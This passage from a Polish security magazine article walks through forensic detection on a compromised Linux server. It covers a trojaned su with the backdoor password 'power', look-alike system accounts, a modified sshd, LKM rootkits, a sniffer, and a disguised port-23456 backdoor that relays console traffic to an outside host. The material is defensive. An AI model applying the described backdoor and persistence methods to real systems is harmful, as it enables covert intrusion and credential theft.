cować prawdopodobieństwo zmiany
hasła przez intruza. W tym celu przy-
glądamy się wynikom polecenia

last

i

lastlog

– w okresie ponad pół roku

użytkownik logował się 36 razy, z cze-
go ostatni raz ponad miesiąc temu. Ze
względu na fakt, iż jest to konto legal-
nego użytkownika, wykluczam możli-
wość usunięcia części danych na te-
mat logowań, a wyniki wydają się być
wiarygodne. Mając te dane, oraz z
faktu, że konto było względnie rzadko
używane wnioskuję, że hasło zosta-
ło zmienione przez naszego gościa w
ostatnim czasie z konta roota.

Informacje te potwierdzają fakt

uzyskania przez intruza pełnej kon-
troli nad systemem i podejrzewam,
że spróbuje on ją odzyskać, stosu-
jąc już mniej inwazyjne metody. Po
pierwsze należy sprawdzić, czy nie
mamy otwartych portów TCP/IP in-
nych niż te, na które sami wyrazi-
liśmy zgodę. W tym celu wykorzy-
stamy nmap'a:

nmap -sT -p- -P0

127.0.0.1

i po chwili widzimy, że in-

truz nie zostawił za sobą nic widocz-
nego z zewnątrz (warto dodać, że
zaawansowani włamywacze stosują
często metodę port knockingu w celu
wywoływania backdoora). Idąc dalej
ścieżką poszukiwań poddajemy ana-
lizie wszystkie pliki z ustawionym bi-
tem suid/guid:

find / -user root -perm -4000 -print;
find / -perm -4000 -print;
find / -perm -2000 -print;

Listing 5.

Fragment /var/log/messages

[root@proxima:/var/log]

# cat messages|grep sshd

...

Jul 8 12:16:32 proxima sshd[7178]: Received signal 15; terminating.
Jul 8 12:17:36 proxima sshd[7190]: Server listening on :: port 22.

Jul 8 12:21:44 proxima sshd[3013]: Failed password

for

dek from 80.22.XX.XX

port 48023 ssh2

Jul 8 12:22:21 proxima sshd[3025]: Accepted password

for

dek from 80.22.XX.XX

port 48039 ssh2

...

Listing 6.

Wynik działania skryptu for...

...
lrwxrwxrwx 1 root root 0 2007-07-09 14:04 3316/exe -> /bin/bash*
lrwxrwxrwx 1 root root 0 2007-07-09 14:04 3330/exe -> /opt/nessus/

sbin/nessusd*

lrwxrwxrwx 1 root root 0 2007-07-09 14:04 3458/exe -> /usr/sbin/

httpd*

lrwxrwxrwx 1 root root 0 2007-07-09 14:04 3621/exe -> /usr/sbin/

in.identd*

lrwxrwxrwx 1 root root 0 2007-07-9 14:04 3626/exe -> /usr/sbin/.sfni*

Listing 7.

Wynik ręcznego poszukiwania snifferów za pomocą lsof

[root@proxima:/]# lsof|head -1;lsof | awk '$5=="sock" {print}'
COMMAND PID USER FD TYPE DEVICE SIZE
NODE NAME
udevd 934 root 5u sock 0,4 1896

can't identify protocol

...

.sfni 1917 root 3u sock 0,4 381413

can't identify protocol

...
httpd 2751 root 4u sock 0,4 13632

can't identify protocol

httpd 2777 apache 4u sock 0,4 13632

can't identify protocol

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

42

Polecenia te w wyniku dają stan-
dardowe pliki z katalogów /bin, /sbin
etc. oraz plik o nazwie hdv11 z kata-
logu /dev – kolejny ślad. Plik ten au-
tomatycznie staje się dla nas podej-
rzanym, gdyż katalog /dev jest kata-
logiem urządzeń naszego serwera i
nie powinny znajdować się tam żad-
ne pliki wykonywalne, a już w szcze-
gólności z ustawionym bitem suid.
Z konsoli roota wydajemy polecenie

#strings /dev/hdv11

, a w rezultacie

uzyskujemy drukowalne ciągi zna-
ków z pliku wykonywalnego. Po krót-
kim zapoznaniu się z wynikami jeste-
śmy w stanie wywnioskować, iż jest
to bliżej nieokreślona wersja progra-
mu su – dającego m. in. uprawnienia
roota. Z konta użytkownika urucha-

miamy ten plik i możemy się przeko-
nać, że mieliśmy rację. Sprawdzamy
teraz, co stało się z oryginalnym pro-
gramem – krótka analiza (ls, strings)
i widzimy, że w katalogu /bin znaj-
duje się plik zmodyfikowany. W re-
zultatach strings widniał dodatkowy
napis power, a po wydaniu komen-
dy

$su power

, uzyskujemy uprawnie-

nia z id=0 oraz gid=0 bez podawa-
nia hasła.

W taki oto sposób intruz zabez-

pieczył sobie możliwość poszerzenia
uprawnień do poziomu root. Kolejny
sukces. Warto zwrócić uwagę, że do
metod mniej zaawansowanych, a
często wykorzystywanych do uzy-
skania ponownie konta super-użyt-
kownika, należą:

• stosowanie backdoorów wyko-

rzystujących zwykłe porty TCP/
UDP. Wykrywanie tego typu na-
rzędzi ogranicza się do przeska-
nowania wszystkich portów i ba-
dania poszczególnych usług,

• tworzenie kont użytkowników

o nazwach: deamon (oryg. da-
emon
), sycn (oryg. sync), shu-
down
(oryg. shutdown), opear-
tor
(oryg. operator), smmp (oryg.
smmsp
), mesagebus (oryg. mes-
sagebus
), haltdeamon (oryg. hal-
deamon
) itp. Wykrywanie tego
typu działań polega na uważnej
analizie plików passwd i shadow
ze szczególnym uwzględnieniem
użytkowników z UID=GID=0,

• zezwolenie na tzw. zaufane po-

łączenia z maszyn zdalnych bez
podawania hasła (oraz wszel-
kie r-usługi). Wykrywanie w tym
przypadku związane jest z anali-
zą wszelkich plików .r* dotyczą-
cych usług internetowych – .rho-
sts, hosts.equiv
,

• zmodyfikowane usługi inetd dają-

ce dostęp do powłoki oraz konfi-
guracja ssh umożliwiająca logo-
wanie bez hasła. Rozwiązaniem
jest analiza pliku inetd i skano-
wanie jak w przypadku wykry-
wania backdoorów oraz dokład-
ne sprawdzenie konfiguracji ssh,

• wszelkie kombinacje wyżej opi-

sanych metod.

Warto sprawdzić, czy intruz nie pozo-
stawił po sobie plików lub narzędzi. Za-
zwyczaj szukanie tego typu rzeczy roz-
poczyna się od katalogu /tmp. Poszu-
kujemy przede wszystkim nazw okre-
ślonych w ramce, gdyż te są najczę-
ściej stosowane przez włamywaczy.
Sam etap poszukiwań i reagowania na
wystąpienia takich katalogów pozwolę
sobie pominąć. Jedyna podpowiedź z
mojej strony wygląda następująco:

locate "..."
locate ".. "
locate ". "
locate " ."

itd.

Bez podawania – ze względu na try-
wialność wykonania – sposobu, pra-

Tabela 1.

Porównanie fragmentu wyników polecenia strings na pliku su i hdv11

Wersja zmodyfikowana (/bin/su): Wersja oryginalna (/dev/hdv11):

Sorry.
power
/usr/share/locale
shadow
/dev/
%s: must be run from a terminal

- %s %s-%s
Sorry.
/usr/share/locale
shadow
/dev/
ENV_TZ

Listing 8.

Poszukiwanie podejrzanych procesów

[

root

@

proxima

:

~

]

# ps uxa

USER

PID

%

CPU

%

MEM

VSZ

RSS

TTY

STAT

START

TIME

COMMAND

..

dek

4277

0.0

0.8

3812

2060

pts

/

1

Ss

+

01

:

57

0

:

00

/

bin

/

bash

nobody

4291

0.0

0.4

52408

1176

?

Ssl

01

:

57

0

:

00

in

.

identd

dek

4329

0.0

0.8

3808

2060

pts

/

2

Ss

02

:

00

0

:

00

/

bin

/

bash

root

4354

0.0

0.1

1508

288

pts

/

0

S

+

02

:

02

0

:

00

klogd

-

D

...

Listing 9.

Badanie portów za pomocą netstat

[

dek

@

proxima

:

~

]

$

netstat

-

nalp

...

Proto

Recv

-

Q

Send

-

Q

Local

Address

Foreign

Address

State

PID

/

Program

name

tcp

0

0

0.0

.

0.0

:

23456

0.0

.

0.0

:*

LISTEN

-

tcp

0

0

0.0

.

0.0

:

37

0.0

.

0.0

:*

LISTEN

-

tcp

0

0

0.0

.

0.0

:

6000

0.0

.

0.0

:*

LISTEN

-

...

Listing 10.

Badanie portów za pomocą nmap'a

[

root

@

proxima

:

~

]

#

nmap

-

sT

-

p

-

-

PT

127.0

.

0.1

Starting

Nmap

4.20

(

http

:

//

insecure

.

org

)

at

2007

-

07

-

13

01

:

58

CEST

Not

shown

:

65528

closed

ports

PORT

STATE

SERVICE

23456

/

tcp

open

unknown

<-

port

zainteresowania

background image

Atak hakera na Twój komputer

hakin9 Nr 10/2007

www.hakin9.org

43

gnę zauważyć, że bardzo ważnym
elementem jest sprawdzenie tablicy
uruchamianych automatycznie zadań
cron. Zdarza się, że intruz umiesz-
cza w niej np. polecenia włączenia ła-
mania haseł lub uruchomienia backdo-
ora. W naszym przypadku ważne mo-
że być także wylistowanie wszelkich
otwartych przez użytkownika art pli-
ków. Czynimy to za pomocą polecenia

#lsof -u art

i poszukujemy wszyst-

kiego, co na pierwszy rzut oka wyglą-
da naturalnie, a nie powinno się tam
znajdować. Kolejnym krokiem w de-
tekcji będzie sprawdzenie wszystkich
ostatnio modyfikowanych plików na
naszym komputerze. Znalezienie ich
ogranicza się do wydania polecenia

find / -ctime -1 -print

. W tym przy-

padku, tak jak poprzednio, poszukuje-
my ważnych plików systemowych, któ-
rych nie sprawdziliśmy przy porówny-
waniu na wcześniejszym etapie. Szu-
kamy także plików nowo utworzonych
i takich, których nazwy mogą sugero-
wać nam chęć ukrycia czegoś lub są
zbliżone do nazw systemowych. Ca-
ły dalszy proces analizy opiera się na
wykrywaniu wszelkich anomalii i po-
szukiwaniu ich źródła oraz powodów
wystąpienia. Chciałbym teraz przejść
do analizy przypadku drugiego. Decy-
duję się na pominięcie w tym momen-
cie pewnych metod i działań ze wzglę-
du na fakt, iż są wspólne dla obu przy-
padków i omówię je przy analizie dzia-
łań Intruza B. Tak więc zaczynamy.

Przypadek II

– działania operacyjne

Przypadek drugi opisujący działania
operacyjne.

Intruz B

Praca sieci i komputera nie była w ja-
kikolwiek sposób naruszana. Ciągłość
działań nie pozwalała nam wniosko-
wać o jakichkolwiek atakach wymie-
rzonych w nasze maszyny. Pomimo to
w trakcie analizy plików dziennika mo-
ją uwagę przykuł fakt widoczny na Li-
stingu 5. Jest to typowy przykład wy-
łączenia i ponownego włączenia usłu-
gi jaką jest sshd, a ze względu na czas
(data i godzina – środek dnia w nie-
dzielę) wykonania wnioskuję natych-
miast, że zostało naruszone bezpie-

czeństwo systemu. W tym przypadku
obecność intruza była praktycznie nie-
zauważalna, nie powodował on żadnej
dziwnej pracy maszyny, dlatego też
istniała spora możliwość przeoczenia
tak drobnego faktu. Pierwszym kro-
kiem będzie oczywiście odcięcie ma-
szyny od tzw. reszty świata – wycina-
my, jak poprzednio, cały ruch przycho-
dzący z Internetu zezwalając na ruch
z lokalnej maszyny oraz zabezpiecza-
my daemona sshd (np. w celu dalszej
analizy – dla bardziej wnikliwych). Na-
stępnym krokiem będzie przeszuka-
nie serwera w celu wykrycia typo-
wych śladów. W jaki sposób to zrobić
oraz jaki powinien być tok naszego po-
stępowania i myślenia – omówiłem w
przypadku intruza A. Pozostałe tro-
py, którymi należy podążać, przedsta-
wiam w ramce Step by step – potrak-
tuj ją jako małą podpowiedź dotyczącą
kierunku dalszych działań.

Niestety – intruz ten znakomicie

ukrył swoją obecność, a mając ten
fakt na uwadze proponuję uznanie
wyników wszelkich poleceń systemo-
wych za niewiarygodne. Posiadając
nowe założenie dotyczące naszej ma-
szyny należy sprawdzić prawdziwość
wyników generowanych przez każde z
poleceń systemowych. Można uczynić
to na kilka sposobów. Jednym z nich
jest skorzystanie z narzędzi typu tri-
pwire (http://sourceforge.net/projects/
tripwire/)
– oprogramowanie to two-
rzy bazę sum kontrolnych plików, a
następnie porównuje je z poprzed-
nio zapisanymi wartościami. Rozwią-
zanie jest skuteczne, jednak wyma-
ga wcześniejszego wdrożenia, użycie
go tylko po ataku nie ma sensu. Wia-
domym także jest, że nie gwarantuje

stuprocentowej skuteczności, jednak
w przypadku znakomitej większości
ataków sprawdza się doskonale (war-
to zainwestować czas we wdrożenie i
poprawną konfigurację, na pewno się
to zwróci). Z doświadczenia wiem, że
rzadko kto używa sprawdzania sum
kontrolnych – z lenistwa – dlatego al-
ternatywnie proponuję metodę pole-
gającą na badaniu za pomocą poleceń

lsof

oraz

strings

poszczególnych pli-

ków z następującej listy: login, su, tel-
net
, netstat, ifconfig, ls, find, du, df, libc,
sync
oraz wszystkich plików binarnych
związanych z daemonem usług inetd.
Działania te zajmą na pewno sporo
czasu, jednak sprawdzenie wiarygod-
ności poleceń systemowych jest dla
nas sprawą priorytetową. Musisz szu-
kać wystąpień ciągów znaków wska-
zujących na jakiekolwiek modyfikacje
– często będą to wbudowane sekret-
ne hasła, dodatkowe opcje linii pole-
ceń gwarantujące ominięcie pewnych
zabezpieczeń lub dające prawa su-
perużytkownika. Ze swojej strony mo-
gę powiedzieć, że na pewno w anali-
zowanym przypadku zostały w syste-
mie zmienione polecenia

ls

i

ps

oraz

uruchomiono całkowicie nowego da-
emona sshd (stąd jego zatrzymanie i
ponowne uruchomienie). Wiemy już,
w jaki sposób włamywacz zapewnił
sobie możliwość natychmiastowego
uzyskania konta shell z prawami ro-
ota – wykorzystał zmodyfikowane ssh,
działanie które go zdradziło. Nie mo-
gąc polegać na wyżej wymienionych
plikach binarnych, zalecam całko-
witą ich wymianę – skompilowanie/
zainstalowanie z bezpiecznych archi-
wów. Niestety, nie możemy mieć pew-
ności, czy po tych działaniach odzy-

Rysunek 3.

Podejrzany plik binarny

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

44

skamy wiarygodność wyników pre-
zentowanych przez problematyczne
polecenia. Intruz – oprócz samej mo-
dyfikacji plików binarnych – mógł za-
stosować narzędzia typu rootkit z za-
awansowanymi metodami ukrywania,
nałożyć patche na kernel lub skompi-
lować moduły nadzorujące i filtrują-
ce wyniki poleceń. Działania prewen-
cyjne proponuję rozpocząć od zain-
stalowania narzędzia chkrootkit (http:
//www.chkrootkit.org)
– wykrywa ono
wiele rootkitów (ich lista znajduje się
na stronie projektu, stan na lipiec 2007
– 63) i może okazać się bardzo przy-
datne. My jednak nie skorzystamy z
oferowanej automatyzacji, ale w ce-
lu lepszego zrozumienia działań ro-
otkitów, a jednocześnie poznania no-
wych metod przydatnych nie tylko do
tego zadania, będziemy wyszukiwali
ręcznie. Po pierwsze, musimy spraw-
dzić, czy ilość katalogów w /proc zga-
dza się z ilością widocznych procesów
(w taki sposób zbadamy, czy nasz no-
wo zainstalowany pakiet z poleceniem

ps

jest poprawny i czy ukrywanie pro-

cesów nie jest wynikiem działania mo-
dułów jądra). W tym celu z konsoli ro-
ota przechodzimy do katalogu proc i
za pomocą polecenia

ls

sprawdza-

my ilość procesów (zazwyczaj nawet
jeśli nie możemy zaufać wynikom po-
lecenia, to ukrywa ono jedynie katalo-
gi o nazwach prezentowanych w ram-
ce powyżej lub nazwy określone przez
intruza). Po takiej wstępnej weryfikacji

badamy, czy jakieś procesy nie uru-
chamiają niebezpiecznych lub niepo-
żądanych usług:

# for i in `seq 1 33000`; do test -d $i

&& ls -l $i/exe;
done

A w rezultacie otrzymujemy listę jak
na Listingu 6. Zaznaczony na czerwo-
no fragment może być śladem progra-
mu niepożądanego – być może jest
to sniffer. Póki co, dodajemy program
do listy podejrzanych. Należy zwrócić
także uwagę, czy przy

1/exe -> *init*

nie występuję napis (deleted). Jest to
typowa oznaka świadcząca o obec-
ności intruza i oprogramowania root-
kit. Dzieje się tak dlatego, że prawdo-
podobnie uruchomiony proces init jest
fałszywy i został on uruchomiony pod-
czas np. restartu systemu wprowa-
dzając odpowiednie zmiany na jądro
Linuksa w celu ukrycia narzędzi, pli-
ków, katalogów etc. Warto sprawdzić
za pomocą polecenia

last/lastlog

,

czy w ostatnim czasie komputer był
resetowany – nakreśli nam to obraz,
czy należy spodziewać się występo-
wania modyfikacji wbudowanych w
jądro lub moduły, czy też nie. Obraz
ten może być niestety bardzo mgli-
sty, gdyż usunięcie śladów po ponow-
nym włączeniu systemu nie jest trud-
ne. Nie można odrzucić tego także w
naszym przypadku, bo pomimo, że in-
truz pozostawił w logach ślad o restar-

cie usługi ssh, mógł to uczynić typo-
wo przez nieuwagę, a logi z restartu
systemu znakomicie i skutecznie usu-
nąć. Kolejnym, i to jednym z ważniej-
szych, krokiem jest zbadanie, czy in-
truz nie zainstalował oprogramowa-
nia modyfikującego adresy pamięci
wywołań systemowych. Jest to dzia-
łanie typowo rootkitowe stosowane
przez tzw. LKM–Rootkity (linux ker-
nel-mode). Operacja ta daje możli-
wość modyfikowania wyników pole-
ceń systemowych bez modyfikacji sa-
mych plików binarnych – a co za tym
idzie, uniemożliwia wykrycie faktu do-
starczania niewiarygodnych danych
(w naszym przypadku mamy pew-
ność, że pliki ls, ps i su były modyfiko-
wane, lecz wciąż brakuje nam pewno-
ści co do polecenia

netstat

). Analiza

w tym przypadku dotyczy bezpośred-
nio przeglądu pamięci jądra systemu.
Po pierwsze, należy sprawdzić, czy
zostały zmienione adresy wywołań
systemowych. Można to zrobić w pro-
sty sposób za pomocą narzędzi typu

kstat

(porównanie wyników programu

kstat z tym, co wyświetla nam

ps -aef

,

lub zastosowanie kern_check – http:
//la-samhna.de/library/kern_check.c
)
oraz w sposób alternatywny ręcz-
nie (co jest opisane na stronie http:
//www.securityfocus.com/infocus/
1811
). Sprawdzanie ręczne polega na
określeniu, czy adresy znajdujące się
w pliku generowanym przy kompilacji
(zazwyczaj /boot/System.map) zga-
dzają się z aktualnie wykorzystywa-
nymi. Po szczegóły techniczne odsy-
łam pod adres znajdujący się wyżej.
Inną łatwą metodą, dającą zadowala-

Listing 11.

Wynik próby połączenia z otwartym portem

[

root

@

proxima

:

~

]

#

telnet

localhost

23456

Trying

127.0

.

0.1

...

Connected

to

localhost

.

Escape

character

is

'^

]

'.

test
Connection

closed

by

foreign

host

.

Listing 12.

Poszukiwanie źródła procesu o nazwie klogd -D (metoda

uniwersalna)

[

root

@

proxima

:

~

]

#

cat

/

proc

/

PID_PROCESU

(

4354

w

naszym

przypadku

)

/

smaps

|

grep

08048000

-

08049000

r

-

xp

00000000

03

:

01

5041346

/

tmp

/.

session

-

usb

Size

:

4

kB

Rss

:

4

kB

Shared_Clean

:

0

kB

Shared_Dirty

:

0

kB

Private_Clean

:

4

kB

Private_Dirty

:

0

kB

08049000

-

0804

a000

rw

-

p

00000000

03

:

01

5041346

/

tmp

/.

session

-

usb

Listing 13.

Analiza programu

nasłuchującego na porcie
23456 za pomocą strings

[

root

@

proxima

:

~

]

# strings

/

tmp

/.

session

-

usb

....
ü˙˙

Y

[

ÉĂ

/

bin

/

bash

klogd

-

D

...
ţ˙˙

o

ô

...

GCC

:

(

GNU

)

4.1

.

2

pass

...

background image

Atak hakera na Twój komputer

hakin9 Nr 10/2007

www.hakin9.org

45

jące efekty w wykrywaniu obecności
modułów modyfikujących wyniki pole-
ceń (i nie tylko), jest porównanie wyni-
ków polecenia

lsmod

(lub jeśli nie ufa-

my lsmodowi, to

cat /proc/modules

)

z zawartością /proc/ksyms (lub
/proc/kallsyms
), gdzie nazwy modu-
łów zawarte są w nawiasach kwadra-
towych. Poszukujemy wszelkich nie-
zgodności, anomalii oraz wszystkie-
go, co wygląda na możliwą modyfika-
cję wprowadzoną przez intruza. Nie-
stety, z łatwością zastosowania w pa-
rze idzie łatwość przeciwdziałania tej
metodzie przez LKM. W tym momen-
cie możemy przejść do dalszej analizy
i skorzystać z programu chkrootkit w
celu wykrycia m. in. obecności sniffe-
rów lub rootkitów. Krokiem pierwszym
będzie sprawdzenie za pomocą tego
narzędzia procesów ukrytych (patrz
Listing 15).

Ponieważ mamy już pewien za-

sób wiedzy – analizę wyniku po-
zostawiam czytelnikowi. Zwracam
uwagę na możliwość występowa-
nia prawdziwych i legalnych ukry-
tych procesów. Znajomość i odkry-
cie tych ukrytych aplikacji leży u pod-
staw obycia z własną maszyną.

Kolejnym krokiem, jaki musimy

zrobić, jest sprawdzenie obecności
snifferów (patrz Listing 16).

Chciałbym zauważyć, że zarówno

sam podsłuch, jak i jego wykrywanie
to bardzo ciekawe zagadnienia, a ze
względu na cel działania intruza – oba
dotyczą naszego przypadku. Pod-
słuch często pozostawia ślady w sys-
temie – większość intruzów pozosta-
wia uruchomione sniffery w celu uzy-
skania haseł i loginów użytkowników
korzystających z sieci, a także w ce-
lu przechwycenia innych wrażliwych
danych. Działanie snifferów opiera się
przede wszystkim na ustawieniu kart
sieciowych w tryb promiscuous – po-
woduje to odbiór wszystkich pakietów
krążących w sieci, a nie jedynie skie-
rowanych do maszyny, na której znaj-
duje się uruchomiony sniffer. Jednak
ze względu na fakt, iż cały ruch prze-
chodzi przez nasz serwer, intruz mógł
uruchomić podsłuch w trybie non-pro-
miscuous
zbierając dane z pakietów
skierowanych do naszej maszyny...
Dlaczego tego nie zrobił, co jednocze-
śnie utrudniłoby jego wykrycie? Może
pośpiech albo pomyłka... Właśnie z
takich powodów jesteśmy bardzo czę-
sto w stanie wykryć znakomicie zama-
skowanego intruza. Sam podsłuch w
wielu przypadkach nie opiera się wy-
łącznie na typowych snifferach – ko-
dowany ruch sieciowy wygląda w lo-
gach jak losowy ciąg danych, a od-

czyt czegokolwiek jest niemożliwy.
Jeżeli intruzowi zależy na dokładnym
zbieraniu danych, często modyfikuje
powłokę shell oraz sshd w taki spo-
sób aby wszystko, co jest wpisywa-
ne w linii komend było automatycznie
logowane (dlatego po odkryciu mody-
fikacji sshd należało natychmiast od-
ciąć ruch i zainstalować nowe – pew-
ne oprogramowanie). Ręczne wykry-
wanie oprogramowania podsłuchują-
cego polega na zbadaniu występo-
wania flagi PROMISC w interfejsach

(#ifconfig -a|grep PROMISC)

. Jednak

flaga ta często jest ukryta, dlatego na-
leży przyjąć inne metody walki:

• na zasadzie dedukcji poszukuje-

my oprogramowania, które być
może jest ukryte przed polece-
niem

ps

lub posiada dziwną na-

zwę, pracuje na prawach admi-
nistratora, tworzy logi ze swojej
działalności, ma długi czas dzia-
łania oraz obciąża znacznie sys-
tem (

top

),

• analizując logi systemowe, jeste-

śmy w stanie odkryć zmiany try-
bu pracy kart sieciowych – i po-
mimo tego, że tryb jest ukryty dla
polecenia

ifconfig

, w logach ma-

my wyraźnie widoczne jego usta-
wienie (patrz Rysunek 2),

• poszukując oprogramowania ko-

rzystającego z gniazd SOCK_
RAW/SOCK_PACKET

(lsof |

awk '$5==”sock” {print}’)

- wy-

krywa także sniffery pracujące w
trybie non-promiscuous (patrz Li-
sting 7).

Mając już pewność faktu prowadze-
nia podsłuchu oraz umiejscowienie
jego źródła – wyłączamy i usuwamy
całe oprogramowanie pozostawio-
ne przez intruza i przystępujemy do
dalszej analizy. Na tym etapie musi-
my sprawdzić, czy intruz nie posiada
innego rodzaju podsłuchów – spraw-
dzamy koniecznie, czy powłoka bash
nie została w żaden sposób zmodyfi-
kowana oraz czy nie pracują inne na-
rzędzia działające jak keyloggery. Po-
szukiwania rozpoczynamy i prowadzi-
my tak, jak poprzednio – analiza

lsof

,

strings

, można wykorzystać tak-

że

gdb

do analizy basha. Upewnia-

Pomocne w detekcji

Bardzo pomocnym działaniem w detekcji intruza jest:

• stosowanie dodatkowych systemów logowania, lub nawet specjalnie do tego celu

skonfigurowanej maszyny (da nam to wystarczającą ilość niepodważalnych dowo-
dów oraz możliwość wytropienia intruza – fizycznie miejsca, z którego atakował, lub
maszyn przez niego wykorzystanych),

• zainstalowanie oprogramowania przesyłającego pliki dzienników systemowych do

innej maszyny lub na specjalnie do tego celu przeznaczoną skrzynkę pocztową
– uchroni nas to przed oślepieniem wywołanym edycją tych plików przez intruza i
da dostatecznie dużo dowodów i śladów pochodzenia ataku,

• stosowanie narzędzi sprawdzania sum kontrolnych, detektorów włamań, syste-

mów wykrywania włamań i detektorów skanowań (tripwire, aide, snort, nids, aafid,
hostsentry, portsentry, itp.),

• stosowanie snifferów w służbie bezpieczeństwu (wysyłanie plików dziennika do in-

nej maszyny lub na pocztę w celu dokładnego określenia działań intruza na pod-
stawie analizy logów ruchu TCP/UDP IP),

• nadzór i protokołowanie wszelkich działań superużytkownika (podsłuch założony

na konto roota z wysyłaniem plików dziennika do innej maszyny).

W większości przypadków działania te są bardzo proste w implementacji i wdrożeniu,
natomiast rezultaty, jakie przyniosą, są nie do przecenienia – niekończąca się skarbni-
ca dowodów oraz śladów...

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

46

my się też, czy żadne oprogramowa-
nie nie usiłuje generować ruchu sie-
ciowego. W celu sprawdzenia ruchu
w sieci zamieniamy się miejscami z
intruzem – teraz to my uruchamiamy
sniffery (

tcpdump

,

dsniff

etc.) i prowa-

dzimy nasłuch. Działanie to jest bar-
dzo proste – cały ruch przychodzący
do komputera został wcześniej odcię-
ty, dlatego przez cały okres nasłuchu
powinniśmy mieć pusty plik logowa-
nia. Jeśli jest inaczej, należy rozpo-
cząć poszukiwania i prowadzić je w
taki sposób, aby móc odpowiedzieć
na pytania: Co generuje ten ruch?
Czego on dotyczy? Jakie dane są
przesyłane? W tym celu oczywiście
musimy wykorzystać wiedzę zdobytą
do tej pory oraz zapoznać się dokład-
nie z wynikami generowanymi przez

netstat

. Poniżej chciałbym zaprezen-

tować przykładowy scenariusz dzia-
łania, którego rezultatem ma być od-
krycie programu generującego ruch.
Założeniem, jakie stawiam, jest fakt,
że do tej pory system powinien być
wiarygodny i nie ukrywać żadnych
plików ani procesów.

Przykład analizy ruchu sieciowe-

go (patrz Listing 8).

Proces 4354, jak na proces sys-

temu logowania, ma stanowczo za
wysokie PID. Nazwa procesu wy-
gląda na fałszywą, gdyż oryginalny
klogd widoczny jest jako

/usr/sbin/

klogd

, a jego strona man nie przewi-

duje opcji -D. Mamy podejrzany pro-
ces, wszelki ruch sieciowy genero-
wany z i do komputera od tej chwi-
li będziemy wiązali z tym procesem.
Metoda stosowana do odkrycia po-
wyższych informacji to: trochę spo-
strzegawczości plus nieco wiedzy i
znajomości systemu Linux. Następ-
nie badamy, czy aplikacja ta otwiera
jakieś porty (patrz Listing 9).

Świadomi jesteśmy otwarcia

wszystkich portów poza 23456.
Jest to bardzo wysoki numer portu,
często stosowany przez backdoory
– prawdopodobnie mamy to, czego
szukamy. Sprawdźmy, co na to nmap
(patrz Listing 10).

Pewnym jest, że w systemie ist-

nieje jeszcze aplikacja, która powodu-
je jakieś działania sieciowe. Musimy
sprawdzić, jakie i co to za aplikacja,
a ze względu na znajomość wszel-
kich pozostałych procesów działania
sieciowe i otwarcie portu wiążemy z

klogd -D

. Kolejnym naszym ruchem

będzie uwidocznienie tego, co kryje
się pod tym portem (Listing 11).

Po wprowadzaniu danych i zaak-

ceptowaniu nastąpiło natychmiasto-
we rozłączenie – można sądzić, że
oprogramowanie oczekuje na wpro-
wadzenie hasła. Aby to sprawdzić,
należy odkryć prawdziwy plik binarny
(patrz Listing 12)

W taki sposób odnaleźliśmy

właściwy program, kryjący się pod
„klogd -D”. Poddajemy go analizie za
pomocą

strings

– spróbujemy zdo-

być hasło, bo być może jest zapisa-
ne jawnie w pliku binarnym.

Próba zalogowania za pomo-

cą hasła pass kończy się fiaskiem
– najwidoczniej nazwa pass doty-
czy zmiennej, w której jest przecho-
wywane hasło. Można je na pewno
odkryć stosując techniki reverse en-
gineeringu, jednak my darujemy so-
bie dalsze badania samego progra-
mu, a skupimy się na tym, co on ro-
bi. Następnym naszym ruchem bę-
dzie mała prowokacja: generuje-
my ruch sieciowy dotyczący portu
23456 i oczekujemy działań intruza,
logując wszystko za pomocą sniffe-
ra.... Po kilkunastu minutach rozpo-
czął się ruch na porcie. Po pierw-

sze zostało nawiązane połączenie
z portem przez host o adresie IP
208.122.XX.XX – prezentuje to mię-
dzy innymi netstat:

tcp 0 0 127.0.0.1:23456
208.122.XX.XX:52102
ESTABLISHED4537/bash

Natomiast na snifferze wykrywamy
ruch sieciowy (Listing 14).

Wszystko teraz jest jasne – pro-

gram znajdujący się na porcie 23456
działa jak keylogger – przesyła
wszelkie dane (zarówno polecenia,
jak i ich wyniki) do komputera o ad-
resie 208.122.XX.XX. Można poku-
sić się o dalsze analizy oraz zba-
danie i poinformowanie administra-
tora komputera, na który wysyłany
jest cały ruch konsolowy generowa-
ny na naszej stacji serwerowej, jed-
nak my darujemy sobie te czynno-
ści. Wierzę, że wszyscy Czytelnicy
– mając tak wyszczególnione dzia-
łania – poczuli żyłkę detektywa i ma-
ją w myślach obraz dotyczący spo-
sobu wyszukiwania informacji oraz
prawidłowego kojarzenia faktów. Po
tak przeprowadzonej analizie należy
zbadać, czy komputer był wykorzy-
stywany do innych ataków. Przede
wszystkim poszukujemy w systemie
oprogramowania do łamania haseł
oraz wszelkich plików binarnych nie
umieszczonych na serwerze przez
nas. Pozwoli to nam znacznie pod-
nieść poziom zaufania do serwe-

Listing 15.

Ukryte procesy

(poszukiwanie trojanów LKM)

#chkproc

You

have

8

process

hidden

for

readdir

command

You

have

8

process

hidden

for

ps

command

Listing 16.

Interfejsy z

włączonym trybem promiscuous

#ifpromisc

eth1

:

PF_PACKET

(

/

usr

/

sbin

/

dsniff

)

<

stosowany

przeze

mnie

eth1

:

PF_PACKET

(

/

usr

/

sbin

/

tcpdump

)

<

stosowany przeze mnie

eth1: PF _ PACKET

(

/usr/sbin

.sfni

)

<

intruza

Listing 14.

Przechwycony ruch sieciowy z portu 23456

[

root

@

proxima

:

/

home

/

dek

/

]

# ./ss

[

127.0

.

0.1

:

23456

->

208.122

.

XX

.

XX

:

52102

]

cd

/

home

;

ls

-

al

[

127.0

.

0.1

:

23456

->

208.122

.

XX

.

XX

:

52102

]

total

20

drwxr

-

xr

-

x

4

root

root

4096

2007

-

04

-

10

23

:

31

./

drwxr

-

xr

-

x

22

root

root

4096

2007

-

04

-

08

02

:

43

../

drwx

--

x

--

x

72

dek

users

8192

2007

-

07

-

08

02

:

33

dek

/

background image

Atak hakera na Twój komputer

hakin9 Nr 10/2007

www.hakin9.org

47

ra. Warte zachodu jest również do-
kładne sprawdzenie plików znajdu-
jących się w katalogu głównym da-
emona httpd oraz zapoznanie się z
zawartością katalogów ze strona-
mi WWW umieszczonymi na ser-
werze przez wszystkich użytkow-
ników. Działania końcowe: po zain-
stalowaniu oprogramowania z po-
prawnymi plikami binarnymi su, ps,
ls
etc., oraz usunięciu/dezaktywacji
rootkitów, loggerów i snifferów moż-
na uznać, że system odzyskał wiary-
godność. W tym momencie należy
powtórzyć całą procedurę poszuki-
wawczą dotyczącą intruza A, posze-
rzoną teraz (mam nadzieję!) o wie-
